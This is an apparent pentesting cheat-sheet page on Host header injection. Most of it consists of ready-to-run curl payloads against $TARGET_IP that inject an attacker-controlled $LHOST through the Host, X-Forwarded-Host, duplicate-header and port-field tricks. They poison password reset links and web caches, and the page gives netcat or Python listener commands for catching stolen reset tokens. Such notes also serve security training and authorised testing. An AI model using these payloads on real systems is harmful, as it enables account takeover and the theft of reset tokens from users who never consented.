Skip to content

Host Header Injection

3 min read Created Sep 14, 2026 Last updated Sep 14, 2026

Host header injection exploits applications that trust the HTTP Host header for generating URLs, routing, or access control decisions. The most impactful exploitation is password reset poisoning: the application uses the Host header to build the reset link, so an attacker-controlled Host value places their domain in the victim's reset email. Other impacts include web cache poisoning, SSRF, and virtual host routing bypass.

Password Reset Poisoning

Request a password reset for the victim while injecting your domain in the Host header. The application generates a reset link using your domain instead of its own. When the victim clicks the link, the reset token is sent to your server.

┌──(kali㉿kali)-[~]
└─$ curl -s -X POST http://$TARGET_IP:$PORT/forgot-password \
-H 'Host: $LHOST' \
-H 'Content-Type: application/x-www-form-urlencoded' \
-d 'email=victim@target.local'

If vulnerable, the reset email sent to victim@target.local contains a link like: http://$LHOST/reset?token=abc123. Start a listener (nc -lvnp 80 or python3 -m http.server 80) to capture the token when clicked.

┌──(kali㉿kali)-[~]
└─$ python3 -m http.server 80

When the victim clicks the poisoned reset link, the GET request with the token arrives at your server. Use the token on the real application's reset endpoint.

Header Variations

If the basic Host injection is blocked, try alternative headers that some frameworks prioritize over Host.

┌──(kali㉿kali)-[~]
└─$ curl -s -X POST http://$TARGET_IP:$PORT/forgot-password \
-H 'X-Forwarded-Host: $LHOST' \
-H 'Content-Type: application/x-www-form-urlencoded' \
-d 'email=victim@target.local'

Many frameworks (Laravel, Django, Rails) check X-Forwarded-Host before Host when behind a reverse proxy.

Other headers to try:

  • X-Forwarded-Host: $LHOST
  • X-Host: $LHOST
  • X-Forwarded-Server: $LHOST
  • X-Original-URL: http://$LHOST/forgot-password
  • Forwarded: host=$LHOST (RFC 7239)

Double Host Header

Some servers use the first Host header while validators check the second (or vice versa).

┌──(kali㉿kali)-[~]
└─$ curl -s -X POST http://$TARGET_IP:$PORT/forgot-password \
-H 'Host: target.local' \
-H 'Host: $LHOST' \
-H 'Content-Type: application/x-www-form-urlencoded' \
-d 'email=victim@target.local'

Duplicate headers are handled differently by web servers (Apache uses first, Nginx uses last). Test both orderings.

Port Injection

When the application validates the hostname but not the port, inject a port that includes your payload.

┌──(kali㉿kali)-[~]
└─$ curl -s -X POST http://$TARGET_IP:$PORT/forgot-password \
-H 'Host: target.local:@$LHOST' \
-H 'Content-Type: application/x-www-form-urlencoded' \
-d 'email=victim@target.local'

The @ character in the port field can trick URL parsers into treating $LHOST as the actual host in the resulting URL (e.g. http://target.local:@$LHOST/reset?token=abc).

Web Cache Poisoning via Host Header

If a cache sits in front of the application and caches responses keyed on the URL (but not the Host header), a poisoned Host value contaminates the cached page for all users.

┌──(kali㉿kali)-[~]
└─$ curl -s http://$TARGET_IP:$PORT/ \
-H 'Host: $LHOST' \
-H 'X-Forwarded-Host: $LHOST' -v 2>&1 | grep -iE 'x-cache|age|cf-cache'

Check for X-Cache: HIT or Age headers to confirm caching. If the response contains your injected host in links/scripts and gets cached, subsequent visitors load resources from your domain.

References